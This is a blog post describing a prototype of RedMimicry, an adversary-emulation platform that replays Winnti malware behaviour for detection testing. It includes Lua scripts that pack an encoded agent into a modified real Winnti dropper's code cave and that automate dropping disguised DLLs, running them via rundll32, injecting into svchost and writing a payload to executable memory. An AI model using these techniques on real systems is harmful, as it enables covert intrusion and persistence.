The RedMimicry Platform Prototype

This post describes an early RedMimicry prototype and does not reflect the current state of the product.

The RedMimicry platform prototype is built in a modular way in order to provide a good framework for the implementation of emulation profiles.

Emulation profiles can be divided into the following components:

  • payload delivery and staging
  • command & control traffic encoding
  • automated breach emulation script

This RedMimicry release aims to emulate the behavior of the Winnti malware from around 2015.
Naturally not all behavior is exactly replicated but the profile implemented here is hopefully doing a decent job.

RedMimicry architecture

Dropper

There have been a multitude of different dropper for Winnti over the years.
One of the more distinct mechanisms observed is a configuration where an intermediate dropper is used to start the Winnti dropper itself
which then injects Winnti into a svchost process.

OSINT describing this behavior:

This behavior is emulated as shown below.

Winnti dropper chain

In order to provide a realistic emulation of this dropper process I looked for an original Winnti dropper with a code cave which is large enough to hold the unstaged RedMimicry agent payload. The original payload of the Winnti dropper is simply replaced with a properly encoded version of the RedMimicry agent.

A few small modifications had to be made to the dropper to properly execute the embedded agent.

Practically speaking this part of the emulation profile consists of a (slightly modified) original Winnti dropper and the following LUA script to integrate the dropper with the RedMimicry server.

-- 180004168  31c9               xor     ecx, ecx  {0x0}
-- 18000416a  48c7c241414141     mov     rdx, 0x41414141
-- 180004171  41b800100000       mov     r8d, 0x1000
-- 180004177  41b940000000       mov     r9d, 0x40
-- 18000417d  ff1595ee1600       call    qword [rel VirtualAlloc]
-- 180004183  41b841414141       mov     r8d, 0x41414141

local jumpInPayloadMarker = "31c9" ..
        "48c7c241414141" ..
        "41b800100000" ..
        "41b940000000" ..
        "ff1595ee1600" ..
        "41b841414141"

local configMarker = "125db7b8-3002-4da8-915e-fbcc0280aa53AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

local payloadCaveLength = 1378817

local config = "redmimicry.com - actor emulation and breach simulation tool"

function embed_payload(template, payloadId)
    payload = build_payload("injectable_core", payloadId)
    payloadKey = random_bytes(1)
    pattern = "0289e00c-52c9-4f1b-b865-f637074daf1e" .. string.rep("A", payloadCaveLength - 36)
    payload = pad(payload, string.len(pattern) - 1)
    encryptedPayload = payloadKey .. XorIncNs(payloadKey, payload)
    template = replace(template, pattern, encryptedPayload)
    local jmpInPayload = string.fromhex(jumpInPayloadMarker)
    jmpInPayload = replace(jmpInPayload, "AAAA", struct.pack("<I4", payloadCaveLength - 1))
    template = replace(template, string.fromhex(jumpInPayloadMarker), jmpInPayload)
    configKey = string.fromhex("99")
    template = replace(template, configMarker, XorInc(configKey, pad(config, string.len(configMarker))))
    return template
end

The dropper generated this way is used for sigcmm-2.4.dll and gthread-3.6.dll. AV software with proper signature coverage of Winnti artifacts should detect this either as RbDoor or directly as Winnti.

A Yara rule to match this payload is available at redmimicry_winnti_2015.yar

Command & Control Traffic Encoding

Winnti has a very particular custom command and control traffic encoding.
The application layer encoding has been implemented in a publicly available Winnti Nmap Script.
RedMimicry utilizes a reimplementation of the application layer encoding in order to provide a realistic emulation of the network traffic.

A Winnti HELO payload is prepended to each transaction.

Winnti C2 encoding

Automated Breach Emulation

Probably the heart of RedMimicry is the automated breach emulation engine.
Emulation profiles contain one or multiple LUA scripts defining the behavior of the agent after an automated breach emulation has been started.

The Winnti emulation script takes care of emulating the staging process of the Winnti implant and eventually injecting an agent payload into the svchost.exe -k netsvcs process.

After the staging is completed a real Winnti payload is written (but not executed) to read-write-executable memory in the svchost.exe process.
Additionally a registry entry is created at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\data and an event object is created at Global\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}.

The following script implements the Automated Breach Emulation for Winnti.

function start_assessment()
    -- set sleep time to 5 sec
    SetSleep(5, 3)

    -- check for elevated context
    hostinfo = Interrogate()
    if hostinfo == FAILURE then
        return FAILURE
    end
    if hostinfo.elevated ~= true then
        Log("", "The agent must be run from an elevated context for this playbook!")
        return FAILURE
    end

    -- drop winnti intermediate dropper dll
    local payloadIdDropper0 = math.random(0xfffffffe) + 1
    Log("T1027", "Building encoded payload with Winnti dropper")
    if Upload("C:\\Windows\\Temp", "gthread-3.6.dll", BuildPayload("winnti", payloadIdDropper0)) == FAILURE then
        return FAILURE
    end

    -- drop winnti dropper dll
    Mkdir("C:\\Program Files\\VMware\\VMware Tools")
    Log("T1027", "Building encoded payload with Winnti dropper")
    local payloadIdDropper1 = math.random(0xfffffffe) + 1
    if Upload("C:\\Program Files\\VMware\\VMware Tools", "sigcmm-2.4.dll", BuildPayload("winnti", payloadIdDropper1)) == FAILURE then
        return FAILURE
    end

    -- start intermediate dropper
    Log("T1085", "Starting Winnti intermediate dropper with rundll32.exe")
    if Shell("C:\\Windows\\Temp", "rundll32.exe gthread-3.6.dll,XML") == FAILURE then
        return FAILURE
    end

    -- wait for connection of intermediate dropper
    local agentIdDropper0 = GetAgentIdFromPayloadId(payloadIdDropper0)
    local i = 0
    while agentIdDropper0 == FAILURE do
        if i > 30 then
            return FAILURE
        end
        Sleep(10)
        agentIdDropper0 = GetAgentIdFromPayloadId(payloadIdDropper0)
        i = i + 1
    end

    -- kill assessment agent
    KillAgent()

    -- set sleep for intermediate dropper
    SetSleepD(5, 3, agentIdDropper0)

    -- drop intermediate dropper batch script
    if UploadD("C:\\Windows\\Temp", "tmp.bat", ReadFile("script.bat"), agentIdDropper0) == FAILURE then
        return FAILURE
    end

    -- execute bat file
    LogD("T1064", "Using script to start Winnti dropper", agentIdDropper0)
    if CreateProcessD("C:\\Windows\\Temp\\tmp.bat", agentIdDropper0) == FAILURE then
        return FAILURE
    end

    -- wait for winnti dropper connection
    local agentIdDropper1 = GetAgentIdFromPayloadId(payloadIdDropper1)
    i = 0
    while agentIdDropper1 == FAILURE do
        if i > 30 then
            return FAILURE
        end
        Sleep(10)
        agentIdDropper1 = GetAgentIdFromPayloadId(payloadIdDropper1)
        i = i + 1
    end

    -- set sleep for winnti dropper agent down
    SetSleepD(5, 3, agentIdDropper1)

    -- kill intermediate dropper
    KillAgentD(agentIdDropper0)

    -- inject agent into svchost.exe -k netsvcs
    local svchost_pid = -1
    procs = PsD(agentIdDropper1)
    if procs == FAILURE then
        return FAILURE
    end
    for k,v in pairs(procs) do
        if v.commandline == "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p" then
            svchost_pid = v.pid
            break
        elseif v.commandline == "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" then
            svchost_pid = v.pid
            break
        elseif v.commandline == "C:\\Windows\\system32\\svchost.exe -k netsvcs -p" then
            svchost_pid = v.pid
            break
        elseif v.commandline == "C:\\Windows\\system32\\svchost.exe -k netsvcs" then
            svchost_pid = v.pid
            break
        end
    end
    if svchost_pid == -1 then
        return FAILURE
    end
    local payloadIdWinnti = math.random(0xfffffffe) + 1
    if InjectAgentD(svchost_pid, payloadIdWinnti, agentIdDropper1) == FAILURE then
        return FAILURE
    end
    local agentIdWinnti = GetAgentIdFromPayloadId(payloadIdWinnti)
    i = 0
    while agentIdWinnti == FAILURE do
        if i > 30 then
            return FAILURE
        end
        Sleep(10)
        agentIdWinnti = GetAgentIdFromPayloadId(payloadIdWinnti)
        i = i + 1
    end

    -- kill injector agent
    KillAgentD(agentIdDropper1)

    -- set sleep to 5 sec for winnti agent
    SetSleepD(5, 3, agentIdWinnti)

    -- write winnti payload to rwx memory
    WriteRWXD(ReadFile("winnti.bin"), agentIdWinnti)

    -- create event
    CreateEventD("Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}", agentIdWinnti)

    -- create registry key
    CreateRegistryKeyD("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\HTMLHelp", "data", "aHR0cHM6Ly9yZWRtaW1pY3J5LmNvbQ==", agentIdWinnti)

    return SUCCESS
end

Many of the events triggered on the endpoint can be matched with relatively simple Sigma rules.

Limitations

Of course this emulation is not perfect and several aspects like the Winnti kernel mode component and the peer to peer traffic functionality are not emulated.

RedMimicry does not support forward connecting command & control protocols, thus the agent is beaconing to the server while the real Winnti behaves like a bind shell.

Demo

Demo Video